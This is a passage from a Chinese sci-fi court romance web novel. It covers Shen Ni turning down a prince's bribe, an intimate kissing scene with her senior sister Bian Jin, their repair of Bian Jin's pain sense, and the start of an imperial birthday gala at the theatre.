沈逆慢悠悠地看一眼康逸。
“哦?原来是下官误会殿下了,还请殿下恕罪。”
沈逆又道:“不过话说回来,我拿他的玉璧也无用啊。”
“啊,的确,区区礼部尚书的玉璧能有何用?那就不要碍侯君的眼了。”
李极嫌弃地用手绢包着玉璧,拿起来随手一丢,曹肃的玉璧被沉入护城河。
“侯君若是看不上这些,本王还带了些家乡特产。”
“不用了,谢谢殿下的好意。下官还有些事,先行一步。”
沈逆起身就要离开,被康逸拦住。
沈逆冷笑:“想动粗?殿下,我的玉璧可不像曹尚书的,随随便便就能被人沉入河底。”
与此同时,沈逆向河岸边的某棵树的树梢上瞟了一眼。
在她登上画舫的时候,边烬已经站在树梢上了。
因为有边烬在,沈逆才能没有任何负担地登船,一探究竟。
之前边烬全程都屏住气息,隐匿身形。
此刻,沈逆被为难,边烬汹涌的杀气毫不遮掩地释放,直逼画舫。
别说是S级战斗天赋的康逸,就是C级的李极都察觉到了。
李极呵斥康逸:“怎么能对侯君无礼?退下。”
康逸退到一旁,李极一边笑着一边打开了所谓“家乡特产”的箱子。
“真的只是一点睦洲特产,侯君应该会感兴趣的。”
听到“睦洲”这两个字,沈逆回眸。
满满当当一箱子的特殊金属。
是用透明的防辐射薄膜遮盖着的星河铬素。
目测过去,起码一百斤。
沈逆心想,还真是家乡特产啊。
狸力三号坑的确就在睦州地界内。
李极笑道:“这应该最合侯君口味了吧。”
沈逆的确很喜欢星河铬素。
但凡是机械师,星河铬素就是比命还珍贵的顶级材料,梦寐以求的至宝。
可这安王浑身的图谋不遮不掩,沈逆当然不可能收她这么贵重的礼物。
都说曹肃等人拥戴李极,只待李渃元宾天便推举她登帝。
谁知李极要不称病不出,一出现就把自己的信徒杀了祭献。
想要将沈逆收入麾下的心思毫不避忌。
要是收了她的礼物,天还没亮整个京城的人都会知道沈逆是她的人。
沈逆毫不心动,依旧不收。
对李极行了个手礼后,干脆地离开了画舫。
李极看着沈逆驾驶快艇离开的背影,转着捻在指尖里的酒盏。
康逸不悦地冷笑道:“这靖安侯不识抬举,仗着有边烬在侧便不可一世。”
李极继续喝酒,眼眸里浸着醉意,回想起沈逆那张美人脸蛋,更是迷醉。
李极道:“难怪边烬这么护着她,的确,长得这般美,有滋有味。一副冷淡寡情又高傲的姿态,真让人倾心。她越是冷清,我就越是想知道,这位举世崇奉的天才,被人握在掌心里玩弄的时候会是什么模样。”
知道安王的兴趣,康逸不敢置喙,只能沉默。
李极不再说话,继续独酌。
康逸望着那箱没送出去的星河铬素,问李极:“殿下,那这箱……”
“送去研发署,给我那便宜姐姐。”
李极想了想,又道:“以沈逆的名义送去。”
康逸:“喏。”.
沈逆前脚回到侯府,边烬后脚就跟了进来。
沈逆见她无声无息地护着自己,心里甜甜的开心,拉住边烬的蹀躞带。
边烬低头看了眼,就这么让她拉着。
护院们在尽职尽责地巡逻,两人回房,关上房门。
“师姐为何会出现在护城河,是来接我回府,发现异兽后一直在暗中保护我的吗?”
边烬见她问得时候笑容盈盈,一个犹豫的声音之后,没能答上来。
“好,你是在城内巡查,正好发现了异兽。保护我只是顺便。”
沈逆帮边烬这个不会撒谎的人说出了实话。
边烬淡笑。
多看了几眼师妹稚气骄横的模样。
“安王是利用异兽将你引到画舫上的。”
“我觉得也是,可有个问题,异兽为什么会听她的话呢?”沈逆思忖着,“难道之前倾洛说帮助黑魔方迭代的人,就是她?”
边烬喝了口营养液,道:“是不是她暂不可知。不过这位安王不可小觑,她蛰伏在封地这么多年不是什么都没做。当初我还在北境的时候,调查过一些她的事情。”
即便在只有两人的寝屋里,边烬也靠近沈逆,放低了声音。
“安王在封地藏有私兵,百万起。而且她拥有整个帝国最庞大的幕僚。千余幕僚之中,S级天赋者近五十人。而且各个神秘,从不显于人前。先前曹肃集团不是不想攀附安王,而是安王根本不屑也不相信京中势力。”
沈逆以前对这位安王不太在意,的确是第一次听说关于她的事。
没想到边烬早就留意到她。
边烬又道:“她说她是C级精神天赋者?”
沈逆拧开一罐营养液,递给边烬。
“是。李褚好像也是精神天赋者。李氏王朝从太.祖开始,全是一脉相承的精神天赋。七王之中除了李煽,其他人都拥有精神天赋,或高或低罢了。她有精神天赋不奇怪。”
边烬想了想说:“C级精神天赋者想要操控异兽,不大可能。那个武卫也是战斗天赋。有可能是有精神天赋者在帮她暗中操控异兽。这次她来京一定准备充分,不可能只有一名武卫在侧。”
沈逆这么一说,边烬察觉到一丝违和。
“这么说起来,李煽是因为母亲是侍女的关系,所以天赋才变成了机械?”
沈逆道:“不,倾洛查过,李煽的生母没有任何天赋,先帝是S级的精神天赋者,但李煽居然觉醒了S级的机械天赋。一般而言孩子的天赋取决于父母,跨越属性觉醒另一种天赋,还是这么高等级的天赋……这种事放眼整个帝国都非常罕见。”
边烬握着营养液,双眸一闪,问沈逆:
“倾洛有调查到李渃元的天赋吗?”
沈逆摇摇头,“当朝天子的天赋等级一贯是机密,驾崩之前从不外露。不过李渃元肯定是精神天赋者,或许因为她的母亲,还可能有别的天赋。至于是什么等级,连暗网上都没人知道。”
两人沉默片刻,各有所思。
沈逆突然道:“师姐你说,这些异兽有没有可能不是被精神天赋者操控,而是被星河铬素吸引过去的?”
边烬看向沈逆。
沈逆按了按自己的脸:“好吧……我承认我想的有点多。”
边烬问她:“你为何会这么想?”
“因为,连贺兰濯都只能影响异兽的意识,但无法完全操控,她已经是S级精神天赋者里的佼佼者了,其他人能做到吗?还是藏在你我都发现不了的暗处行事。我还是倾向异兽被画舫上的其他东西吸引过去了。”
“有没有可能是想要吞噬更强壮的身体,与你抗衡?毕竟画舫上还有一个S级的武卫。”
“是有可能的,只是,如果它们已经进化出了打不过就跑的智慧,那它应该知道,自己在S级武卫的手里也活不了。当时它身上有火,却没有潜入水中灭火,而是上了画舫。我甚至感觉它不像被某种东西吸引过去的。”
“那是……”
沈逆眼眸一转,“像迫不得已才上了画舫。”
边烬一时无言,在思考沈逆说的可能性。
“你是说,星河铬素有种让异兽无法抗拒的魔力?”
沈逆点头道:“先前对你也是,异兽看到你便激动地说想要你。会不是你体内有用星河铬素打造的逆芯的原因?”
沈逆的猜测中带着身为机械师的直觉。
边烬缺少这种直觉,但她相信沈逆。
两人都将想法和线索都记录到记忆模块之中。
营养液喝完了边烬才想起这是沈逆帮她拿,为她拧开的。
沈逆在默默照顾着她。
即便她才是更年长的那个。
边烬心中有些暖意,宽慰沈逆道:“安王不惜在你面前露出真面目来拉拢你,还为你除掉了曹肃,说明她明白你在帝国的影响力。只要与她慢慢周旋,短时间内她不会对你不利。”
沈逆颔首,倒也无惧李极。
只是,谜团有增无减。
夜渐深。
沈逆没有半点睡意,登录万维网看看有没有曹肃的相关新闻。
浏览一圈,暂时没有。
身为礼部尚书,就算遇害,消息也会被压下来,恐怕不会出现在网上。
安王本人,以及最高研发署的系统都有待进一步挖掘,沈逆一直坐在案几前忙碌。
边烬在她余光里走过两趟。
边烬的作息很规律,此时已经过了平日她入睡的时辰了,但此刻她还未睡。
沈逆正想问她,话还未出口,忽然明白了。
今日的“例行公事”还没做。
师姐这是在等着接吻吗?
边烬越是冷淡寡言,万事都藏心底,沈逆就越是坏心眼地想要她坦露真情。
沈逆故意道:“师姐先睡吧,我还要再等一会儿。”
边烬略略沉默了两息之后,道:“我,也要再等一会儿。”
“等什么?”
边烬没有回答,甚至没有看她,正在阅读万维网上的新闻。
沈逆也没追问,继续埋头工作。
她倒是有点好奇,如果自己不主动,边烬是不是永远不会主动。
边烬的确在等今天份的亲密。
习惯了每日被沈逆缠着接吻,今天却没有。
很奇怪的落差感。
新闻翻了一页又一页,脑海中浮现的却是沈逆和知情识趣又美艳的安王,在画舫上相对而坐的画面。
又等了两刻钟,沈逆还是没动。
咔——
边烬将电子表锁屏。
听到这细微的声音,沈逆眼波微动。
坐在迷蒙灯光中的边烬眼眸里带着不确定的游移,望向沈逆,轻声问:
“今日,不接吻吗?”
第60章
沈逆眸光被边烬这句话凝住了。
她是存了些坏心思,想等着边烬主动开口。
可当边烬真的问出了那句话,期待忽然变成真实降临时,沈逆心头瞬时被边烬那双冷眸笼罩,冰火相撞,热气蒸腾。
沈逆喉头轻动,心跳鼓噪着。
“嗯,要的。”
“那,你大概还有多久忙完?”
“我已经忙完了。”
“嗯,那现在接吻吧。我过去还是你过来?”
接吻也有商有量,像讨论战术。
是边烬才会干出的事。
当初觉得拴马桩都比师姐有情趣。
现在觉得,师姐的没情趣,反而有种上天入地独一份的可爱。
给自己囫囵消毒完之后,沈逆说:“我过去。”
边烬坐在床边的躺椅上,身后是窗。
窗外正对着院内的花园。
忙碌的日子里,沈逆从钱姐那边学了些园艺的技巧,硬是抽出了点时间,亲自把院内的花种好了。
沈逆知道边烬喜欢花,更喜欢赏花,花园四周便只留一条维护用的小道,平时没人能来打扰她赏花的雅兴。
躺椅也是沈逆帮她置备的,放在最适合赏花的位置。
春季万物复苏,花香流荡,清雅的香味从敞开了一丝缝隙的窗牖淌进来。
边烬直身坐在这把应该舒服躺下的椅子上,凝视着向她走过来的沈逆。
点点花香沾上两人的鼻尖,灯落在远处,一小片暖光从沈逆身后笼过来,描绘着她的身形。
外衫早就脱去了,沐浴之后只着柔软的寝衣。
腰带一圈圈束着腰肢,像占有着她。
对视间,边烬忍不住想,天各一方的那六年沈逆做了些什么,是怎么长大的。
有人会在她受欺负时保护她吗?
有人会包容她的一切,凡事都让着她,宠着她吗?
她又将谁放在心上?
牵着手长大的孩子,一转眼出落得这么美了。
异样的情绪在边烬心里煽风点火。
不知谁占有过她,此刻边烬只想将她占为己有。
边烬的双臂取代了腰带,环住沈逆的腰肢,把眼前的年轻女人搂入怀中,双臂渐收拢。
收拢的那一刻,感受到边烬主动的拥抱,沈逆呼吸凝滞。
生怕呼吸得重一些,就会发现这是一场梦。
原本沈逆站着,边烬坐着,这个姿势让两人距离有些远。
沈逆顺着边烬的拥抱,坐到她腿上。
小时候她经常赖在边烬腿上,用膳、看书还是睡觉,边烬的双腿都是她专属宝座。
长大后,接吻时,依旧往上坐。
迎面坐到边烬腿上,边烬主动的亲近和身躯相贴的柔软触觉,让沈逆心神摇荡。
手从尾椎往上抚,是边烬一贯的手法。
她这个人,循规蹈矩到连这种事进程都一模一样。
即便如此,沈逆还是被她抚得浑身发软,极有感觉。
只要是她,无论什么样的触摸,沈逆都喜欢得紧。
边烬的视线正好对着沈逆的左耳。
这只小耳朵被她抚了两下便红了。
红潮从冷白的皮肤下迫不及待地渗出来,很好逗弄的样子,和它城府深深的主人很不相似。
很想知道,若是继续逗弄,它会变成什么样。
边烬:“我想亲一下。”
“嗯?”
“耳朵。”
这般直接,边烬已经不太知道自己在说什么了。
沈逆:……
她都还没有对师姐的耳朵做过什么,却先被师姐要求了。
连这种事也要提前问吗?
过分可爱。
不知道被边烬亲耳朵,自己受不受得了。
就算受不了,也想答应。
就是想被她亲。
“可以。”
得到了允许,边烬扣着沈逆的脸,将她的脸部轻转到另一侧,整只耳朵暴露在眼前。
边烬记得她的耳廓上有个红痣。
如今,这颗红痣就在眼前。
想要吻自己亲手养大的孩子,这份禁忌感又在她心头翻涌。
这次是她想要,赖不得任何人。
双唇落下,禁忌的牢笼被她硬生生打碎。
边烬的气息铺天盖地,沈逆心口仿佛有电流在汇聚。
耳廓被火热湿软的唇一点点包裹,其次是耳垂。
很规矩,只是亲,依旧让沈逆受不了地夹住边烬的腰。
沈逆耳朵小小的,原本有点硬,被边烬亲了几下,不仅红得似要滴血,也软得像颗糖。
边烬目不转睛地看着。
原来会变成这样……
很奇妙很可爱的变化。
边烬不知自己从何处催生出来的口欲,亲了两趟不太够,继续亲。
不小心歪到耳骨处,唇瓣往耳洞的方向蹭了一下,沈逆没忍住“嗯”的一声,尾调低低的惊颤和酥软,按着边烬肩膀的指尖往里扣,像一只被惊醒的小鹿。
边烬没法对自己说谎,她的确很喜欢听到沈逆因为自己而发出的声音。
和平时清越聪颖的嗓音完全不同,此刻沈逆的声音仿佛沾了浓浓的水汽,湿漉漉的。
如玉的脖子也因为她刚才的亲吻染上了红。
想看沈逆现在是什么表情。
边烬捧着她的脸,转回。
沈逆没想到师姐这时候要看她的脸,被这么直接地观察,饶是沈逆也有点紧张和羞赧。
想象中的沈逆一定染着情潮,而眼前的这张脸比她想得还要诱人。眼眶是常年不适染成的红,浸着水光,眼眸早就被那要给不给的情念弄得迷离了。
紧张和羞赧的情绪放大了这份动人,此时的沈逆像颗一碰就会融化在指尖的露珠。
“不是说好了接吻……”
沈逆被若即若离的触碰弄得难受,圈住边烬的脖子,滚烫的身体紧紧贴入她怀中。
“什么时候吻我?”
在朦朦灯火中对上沈逆沉迷的眼神,边烬想起六年前雪夜的那场告白。
现在她的喜欢,和那时她的喜欢,有没有改变呢?
吻上沈逆的唇。
和沈逆吻她的方式几乎一模一样,很明显,是对沈逆的模仿。
只是没沈逆吻得那般深,没有吻弄的技巧,只是试着探进去一些。
沈逆被她这不轻不重的几下撩拨得更难受,手指揉进边烬的发丝中,相当放肆地将她规规整整绾起的青丝弄乱,含糊中催促道:
“师姐……吻进来些。”
边烬呼吸加重了,很明显被沈逆挑逗得情绪上涨。
沈逆心内欢愉,唇却被嗑了好几下。
边烬对情事终究不太熟练。
很快嘴里便多了些血腥味。
边烬正吻得脑中发热,感受到血味,还是勉强停了下来。
“我伤着你了?”
边烬指腹轻轻压在沈逆的唇瓣上,柔软火热的唇瓣被指腹启开,想要找伤口,忽然,指尖被这双唇噙住。
“不是你弄的,先前的伤还没好罢了。”
一边吻着边烬的手指,一边含糊道:
“师姐,亲密度到四十七了……别停。”
濡湿的唇将边烬的指尖包围。边烬想抽回来,又被太舒服的感觉弄得脑中发白,只能任由自己沉沦。
大概是被动的人今晚难得主动一次,亲密的不止是躯体,还有心。
亲密度在沈逆舐弄边烬指尖的时候,又往上走了一个数。
四十八。
沈逆的小舌纠缠着边烬的指尖,像只迫不及待想要得到宠幸的小宠物。
即便有些被戏弄的嫌疑,边烬还是给予回应,抵进了些,有点笨拙地去勾那小舌。
沈逆没想到会突然抵进来。
唇齿的深浅和其他处的不同,窄窄的空间,稍微施力感觉就很明显。
沈逆被弄得眼角有些水光,边烬也察觉到自己好像下手太深了,撤了出来,疼惜地在她沈逆唇面上蹭着,像安抚。
沈逆嘴角的伤的确还没好明白,原本结痂的颜色比唇面深,此时唇、舌、指三方相揉,伤口倒是被红肿的唇色比下去了。
刚将自己弄出的水色抹去,沈逆又凑上来。
“师姐,还想接吻。”
边烬眼神软软的,嘴角带着一点点淡淡的笑意。
“嗯。”
边烬连这方面都开始忍不住宠她。
最后这张躺椅还是发挥了作用。
边烬躺在椅子上,任身上人纠缠她。
要吻,就给她吻。
想咬脖子,也给她咬。
春夜的潮湿慢慢覆盖在她们身上,还有花香,还有彼此的体温。
……
第二日,日上三竿,沈逆才从边烬的怀中醒来。
床就在边上,她们昨晚却没回去,就窝在躺椅上睡了一夜。
沈逆侧着身枕在边烬的肩膀上,边烬的右胳膊给她当枕头一整晚。
刚要睁眼,沈逆就被阳光晃了眼皮,难受地哼了一下。
边烬听到声音,抬手遮在她眼前,帮她挡住阳光。
一片阴影挡在眼前,沈逆刚睁开眼,便看见自己昨晚在边烬脖子上的胡作非为。
除了好几个吻痕之外,还有一圈圈娇蛮的咬痕。
沈逆知道昨夜边烬的主动让她亢奋,有点没轻没重的。
可今天在阳光下再看,才知道昨晚她都对边烬做了什么。
被野兽袭击也不过如此了吧?
“痛不痛?”
沈逆轻轻压了压边烬脖子上青紫色的痕迹。
有点内疚。
但一想到边烬这么纵容她,心尖上又是一层酥酥麻麻的欢愉感。
“不会的。”
边烬话很少,语气也很平,可简简单单三个字好宠人。
昨晚就被她宠了,今早还继续宠着。
而且,边烬的痛觉尚未恢复,的确不会痛。
沈逆心痒痒地说:“不会的话,让我再留一个。”
“嗯?还要吗?”
“要。”
边烬无奈地问:“要在哪?”
边烬的寝衣已经被沈逆弄得乱七八糟,睡了一夜,还没来得及整理。
这会儿沈逆轻易将她衣襟松开,露出漂亮的锁骨。
这个地方是完完全全的原体,有一些不太明显的旧伤。
一点点伤痕,让这粉妆玉砌的肌肤更加诱人。
沈逆点了点它,“在这儿。”
“又得寸进尺。”
“嗯,我又得寸进尺。”
边烬帮沈逆遮阳,自己沐浴在金光之下,听到沈逆这赖皮的话,嘴角扬起一点浅笑。
摸了摸沈逆的头发,从头发顺到耳朵,轻轻地用指腹摩挲着。
“好吧。”
沈逆只是想要耍个赖,被师姐凶凶的瞪一眼都能浑身舒坦一整日。
没想到师姐居然答应了。
边烬的语气还是无奈的,可这点无奈让宠溺的意味更浓。
沈逆翻了个身,将边烬的手腕压在椅背上。
边烬笑容没减,只是这种陌生的姿态让她有点不好意思。
“不用这样,我答应你了就不会反悔。”
“我喜欢这个姿势。”
“这样会更容易提升亲密度吗?”
沈逆发现了,亲密度是边烬的借口。
以提升亲密度,打开连理模块为借口,行亲密之事,或许会让她没那么抵触。
“是吧。”
沈逆不想拆穿她了,就当是吧。
边烬没再说话,头微微扭转,看向另一个方向,间接把沈逆想要得寸进尺的地方露出来。
默认沈逆可以对她为所欲为。
一个完美的吻痕落在边烬的锁骨上,覆盖了那个小小的伤口。
边烬从镜子里看到了。
像爱覆盖了曾经的痛。
沈逆抚摸着这枚新鲜的痕迹,有些恍惚。
她居然能在边烬身上肆意留下自己的印记。
“这个伤是什么时候留下的?”
“在北境时的一次夜袭,不知道是被谁所伤,打完仗才发现这里中了一刀。”
“是我不在你身边的日子留下的。”
边烬眼眸微闪,“是的。”
要不是万姑姑来喊她们用朝食,沈逆真不想从边烬身上下来。
从昨晚到今早,亲密度居然来到五十,差最后十个亲密度了。
今天是沐休的日子,正好也是约定好检修的时间。
两人洗漱用膳后,便去了工作室。
60-70
第61章
其实这段时日,在例行公事的时候,沈逆也有让掌心里的探测器自动记录边烬触觉指数的变化。
托例行公事的福,边烬的确有些脱敏。
仿佛已经开始享受与沈逆的接触,不像最开始那么难熬了。
在一起看了最近的触觉指数和对应的接触后,两人先是一阵沉默,而后相视尬笑。
沈逆心情复杂,嘴上说“挺好的,起码以后没必要躲着我了”。
其实心里怪遗憾的。
师姐对她的独特敏感,怎么就真脱敏了?
其实说脱敏也不完全恰当,毕竟从触觉指数来看,在和沈逆的接触中指数还是非常高的。
亲密接触时的触觉指数,一直和数据库里的行房指数扯平。
沈逆依旧倾向逆芯没有出大的差错,单纯放大了边烬的情感。
只是边烬还是没有痛觉这点,让沈逆苦恼。
鲲鹏级异兽出现的那晚,拽断乱体的时候,其实伤到手指的骨头了,后来边烬自己发现了,将骨头正了回来。
整个过程没感受到一丝痛楚。
这次检修的目的就是继续寻找感知痛觉出错的地方。
接插口接入后,系统能够自动检测了,只需要一点时间。
边烬没走,和沈逆一起待在工作室里。
她们的话很少,偶尔会接吻,大多数都是沈逆缠着边烬,向她讨一些亲密度。
其实亲密度并没有因为这些纠缠的吻而上升,依旧停在五十。
不过,提升亲密度已经不是她们唯一的目的。
她们在无声中享受着互相占有。
漫漫一整日就在这样过去。
傍晚时分,橘黄色的霞光落在工作室的沙发上,沈逆正躺在边烬怀中,细细品尝她唇上的滋味。
一开始是吻,吻到后面又磨又咬,仿佛在测试边烬的唇在各种情况下,柔软度会有什么样的变化。
也好似在证明给自己看,无论她怎么折腾,边烬都会宠着她。
忽然,边烬“嗯?”了一声。
沈逆以为她不舒服,顶着一双水光盈盈的眼睛,艰难地让自己停下来。
“怎么了?”
“刚才,好像有点痛感。”
“什么时候?”
边烬摸着唇,“你,咬我的唇时。”
沈逆用余光瞥了眼显示屏,第三区域检测完毕,也就是说,痛觉失常应该与这里有关。
答案已经在心里,沈逆却继续咬了咬边烬的唇。
“是这样么?”
又咬又吻,痛觉的确回来了一些。
微痛感让沈逆在她唇上胡作非为的感受更清晰,更真实。
边烬轻轻地“嗯”了一声,这一声在沈逆的唇齿间悄然融化。
……
检测到了一个异常区域,痛觉恢复了一点,应该还有其他异常区域,需要时间继续排查。
奇怪的是,边烬能够率先感知细微的痛楚,更大的疼痛感,比如骨头错位矫正后的余痛,依旧感受不到。
继续研究,沈逆发现疼痛指数居然和逆芯的完整度有关。
也就是说,只有将她规划的逆芯百分百完成,痛觉就会彻底恢复。
逆芯打造全面完成那一日,就是边烬的能力彻底达到巅峰之时。
想到此处,沈逆控制不住地兴奋。
从小她就梦想着自己最优秀的杰作能和师姐匹配。
恍然间,这一日近在眼前了.
最高研发署。
李煽敲击键盘的动作突然停止。
“星河铬素?李极的人送来的?靖安侯转赠?这么珍贵的材料靖安侯会送到研发署?她和李极是什么时候混到一起去的?”
李煽连续发问,属员半个字都没能回答上来。
面对属员诚惶诚恐的表情,李煽也意识到自己对这件事太过在意。
李煽淡了情绪说:“靖安侯当初为了修筑城防,从最高研发署骗走……要走那么多星河铬素,估计是于心有愧,现在又送回来一些。既然她送了,那咱们就收下吧。”
属员:“喏。”
属员搬着星河铬素离开,李煽去研发室的路上,还在想沈逆的事。
沈逆何时与李极搭上线?
她让李极的人送星河铬素来是什么意思?
并不觉得这只小狐狸会心有所愧。
还是说,这是李极的手笔,来告诉李煽,沈逆已经投入她的麾下?
会吗?沈逆那么清高的人,为什么会答应李极。
李煽脚步慢慢缓了下来,那种让她不解的难受劲又来了,有点脱力。
上次见李极,还是在睦洲安王府。
李煽路过睦洲,受皇姐所托去探望多年未见的妹妹。
尽管这个妹妹也未必看得上她。
那时李极不过刚刚及笄的年纪,已经非常明艳动人,一张绝美的皮囊让人过目难忘。
李煽的随从在见到李极后失魂落魄,长安城也不想回了,硬是留在睦洲,说要守在安王殿下身边,至死不渝。
这事儿在李煽看来荒唐至极。
怎么会有人深爱上才见过几面,毫无交集的人呢?
直到……
想起李极倾国倾城的样貌,以及边烬那张清心寡欲却绝美的容颜,李煽看向琉璃窗上自己的倒影。
这段时间不眠不休地泡在最高研发署,就为了能够打造出一款能够随身携带的虚电容壳体,李煽已经有快半个月没有回过永王府了。
曾经爱美的女人瘦了一大圈,憔悴不堪,衣服也好几天没有换。整个人形容寡淡,案牍劳形,迄今为止尚没有任何能够让人刮目相看的成就。
别说是现在的自己,就算是曾经动不动就去洛阳斗花的她,和李极边烬相比,姿容也是一般。
更何况她还是张天生的臭脸,不会说好听话,更让人不愿意靠近吧……
等她回过神来才发现自己不知为何想这许多。
还容貌焦虑起来,莫名其妙的。
李煽拍了拍脸,让自己别又陷入自卑的泥潭。
推开研究室的门,发现李渃元正坐在她的椅子上。
看她进来了,李渃元笑眯眯地转过来对她道:“煽儿。”
李煽一怔,立即向李渃元行礼。
不止李渃元来了,那个阴魂不散的丽景门门主也在。
李煽尽量忽略那阴气森森的韩复,对李渃元道:“陛下怎么来了?”
李渃元的来意让李煽有些意外。
“这些日子煽儿的辛苦朕都看在眼里,如今长安城能够暂时太平,煽儿当居头功。转眼你生辰在即,朕知道你最喜欢看戏,特意让礼乐司的人好好复排《金风玉露》。看你,瘦了这么一大圈,都是为朕的百姓安危操心操的。也该好好休息,享享乐了。”
听到《金风玉露》,李煽眼睛一亮。
这是她最喜欢的戏剧,改编自未来世代的民间故事,是一幕爱情剧。
戏剧的两位主角都是女性,其中一位女扮男装成了当朝宰相,另外一位则是女帝。
君臣之间暗中较劲,到最后无可避免的陷入苦恋,悲剧收场。
《金风玉露》已经有很多年没有上演了。
演出难度大是原因之一,当然另外一个重要的原因就是这部戏剧是悲剧。
如今的世道,何必走入剧场看悲剧,自己就生活在水深火热之中,这样的剧目自然不卖座。
黑魔方带来的恐惧,更是让剧院这种人多的场合变成极其危险之地。
喜欢戏剧的李煽已经很久没有看剧了,原因之一忙碌,当然更不想在皇姐忧心忡忡的时候,她反而优哉游哉地享受。
这段时日实在是太忙,生辰什么的完全抛在脑后,没想到皇姐还帮她记着。
再过三日,她就要满二十八岁了。
李煽眼眶有些热,难得露出妹妹的情态。
“多谢皇姐,这般上心。”
李渃元拉住她的手,这是想让她抱一下的意思。
李煽将她抱起来。
李渃元摸摸李煽的脑袋,圆眼笑得弯弯的。
“煽儿是怎么走到今日,朕都看在眼里。咱们姐俩互相扶持这些年太不容易了。朕的煽儿辛苦了,这几日好好休息休息,身子要是累坏了,朕该心疼死了。”
若是只有她们两人,李煽必然全心全意享受姐姐的疼爱。
可是那韩复站在一旁,即便不言不语也不张望过来,还是让李煽别扭。
李渃元也看得出来李煽的不自在,只道:“朕会为煽儿办好这次生辰庆典。”
李煽本来想说“不必了,我现在也没吃喝玩乐的心情”。
可李渃元又说:“《金风玉露》一定会演出顺利,到时候朕和百官都会为煽儿庆贺……”
之后李渃元还说了什么,过了李煽的耳朵却没进她的脑子里。
她只听到了“百官”二字。
那沈逆一定会来吧.
三日之后,永王生辰庆典。
沈逆收到邀请,前往中央剧院欣赏大戏《金风玉露》。
只是这邀请不是永王王府发出来的,而是由李渃元的人亲自派送。
不像请人,更似命令。
原本这等邀请不可能只给靖安侯,作为靖安侯夫人边烬肯定也会在被邀之列。
这次庆典由李渃元钦点太常寺负责,太常寺丞送来的请柬上只有一人的名字。
太常寺丞就是个跑腿的,来之前知道自己要做这份苦差事又想到靖安侯刁钻狡黠的名声在外,还没到靖安侯府就已经愁眉苦脸的,不知道要被怎么为难。
太常寺丞心里已经打了好几通的草稿,寻了肚子的漂亮话想要敷衍过去。
没想到靖安侯接了请柬,看了一眼后半句话没问,便向他行了一个手礼。
太常寺丞心里“咦”了一声,居然没被为难?
沈逆看他没走,便让侍女看茶。
太常寺丞立刻摆了摆手说:“不用不用,下官还有其他请柬要逐一送达。”
沈逆:“辛苦了。”
太常寺丞呵呵一笑道:“没辙,虽说太常寺或者礼乐司完全可以通过内廷系统群发请柬,可是亲自来送才符合本朝礼仪,更显尊重不是吗。那侯君,没有旁的交代下官先告退了。”
沈逆客气地将人送到府门口,转身就把请柬给丢到渣斗里了。
正好被边烬看到这幕。
“侯君。”
边烬看沈逆这番张狂的行事,想训她,但念及她已经长大了,话不好说重,也不舍得说重,只道:
“天子邀请你去参加庆典,你将请柬丢了,回头被那些言官知道又来弹劾对天子大不敬,还嫌最近被弹劾得不够多吗?”
沈逆丢请柬一回头看到边烬的时候,就知道不妙。
知道会被边烬说,已经做好了死猪不怕开水烫的准备。
反正李渃元定是想好了托词,用什么叛国罪来阻止边烬和她同去,那索性她也不去了。
弹劾没停过,曹肃之死也被言官暗戳戳要算到她头上,说曹尚书死得蹊跷,平时他为人方正广结良缘,唯一和她不对付的人大家都知道是谁。恐怕凶手就在朝堂之上。
这种空口无凭的话,都不用沈逆亲自辩驳,想要跟她站队的其他权臣立即帮她驳回去。
朝堂那见天口诛笔伐的风气沈逆实在反感。帝国风雨飘摇,这群人在这儿党同伐异。
本来已经打定了主意,无论边烬说什么,她都不会将请柬从渣斗里面捞出来。
谁能想到,边烬居然一开口是一声“侯君”?
虽然还是冰冰冷冷的语气,“侯君”这个称呼她走到哪就被叫到哪,可边烬这一声还是让她格外受用。
沈逆心里已经决定对边烬千依百顺了,嘴上却还说:
“现在府中都是咱们自己人,谁能去告状?永王生辰庆典要一同看戏,还有筵席,必定要闹到很晚。想想就枯燥得很。”
“再晚我都去接你。”
一句话给沈逆弄得没声了。
行吧,应酬罢了。
不过也不能白去。
李煽生辰,还有酒筵,李煽说不定会喝多。
生为S级机械师,李煽的防火墙应该很严密,平时不好黑,喝多的时候就不一定了。
复制李煽的权限,就能在最高研发署畅通无阻。
沈逆心道,你们不让我师姐同去,那就拿最高研发署的秘密来交换吧。
最重要的是,师姐都唤她“侯君”了,她再乖一点,下次是不是能喊她一声“夫人”?.
永王生辰庆典的确如李渃元承诺的那样,热闹非凡。
《金风玉露》的戏班从两个月之前就开始排练,李渃元亲自到排练现场,嘱咐戏班一定要好好演,让永王开心。
戏班子从角儿到跑腿的,全都在暗暗羡慕永王和天子姐妹情深。
走入剧院时,沈逆一眼就看出这剧场重新翻修过。所有的设备用的都是眼下最尖端的视觉呈现技术,就连剧场里的老椅子也全部都换了一遍。
满目鲜花,据说是从洛阳空运过来的温室牡丹,通体纯白,花姿雍容,是李煽最喜欢的花。
的确是疼爱妹妹的模样。沈逆往她二楼包厢去的路上在想,只是你们在恒温剧场里闻着花香,欣赏着精彩的演出时,窦璇玑那帮丽景门女官不知又熬了几个大夜。
留给她的包厢还挺大,正对着舞台的位置,不仅能够直观地欣赏到台上的演出,大半个场地的观众脑袋也会被她尽收眼底。
而且,就她一个人,怎么还搞了三张超长沙发?
每张沙发都够她横躺着一边吃水果一边看演出了。
当然她没有真的躺下。
因为李煽走了进来,坐到她左边。
沈逆:?
李煽看了沈逆一眼,没说话。
沈逆疑惑,这是何意?
沈逆有点搞不懂,李煽今天不是生辰么?难道她不应该坐在剧场的正中央,被百官簇拥,众星捧月地好好看演出么?怎么跑到这个小包厢里来了?
而且就她俩独处,太不合适。
沈逆本打算说上一句“永王殿下寿与天齐”就借口溜走。
谁知她刚要站起来,肩头就被人按住了,慢吞吞地往下一摁,把她摁回沙发上。
与此同时,摁她的人坐到了右侧的沙发上。
安王李极。
右手是雍容的李煽,左手是盛装的李极,坐在中间的沈逆陷入沉思。
这对姐妹,一个和天子姐妹情深,一个来京城就带着要夺位的传闻,如今在此相见,岂不是针尖对麦芒?
沈逆偏偏被夹在中间。
果然,李煽对李极突然的出现也暗暗惊讶,但气势上半点不想落下风,冷言:
“安王,我好像没有邀请你来。”
“对,我的确没有收到姐姐的请柬,但我不是来参加姐姐的生辰典礼,我是来找靖安侯的。”
李煽用一种失望的眼神看向沈逆。
沈逆:……
一句“关我屁事”已经在嘴边,李极却挨过来,在她耳边轻语,用只有他们两个人的听到的声音说:
“我来向靖安侯道个歉。原本只是想把曹肃的玉璧送给你当做小小的见面礼,没想到让你因此被那群老朽弹劾,是我考虑不周。”
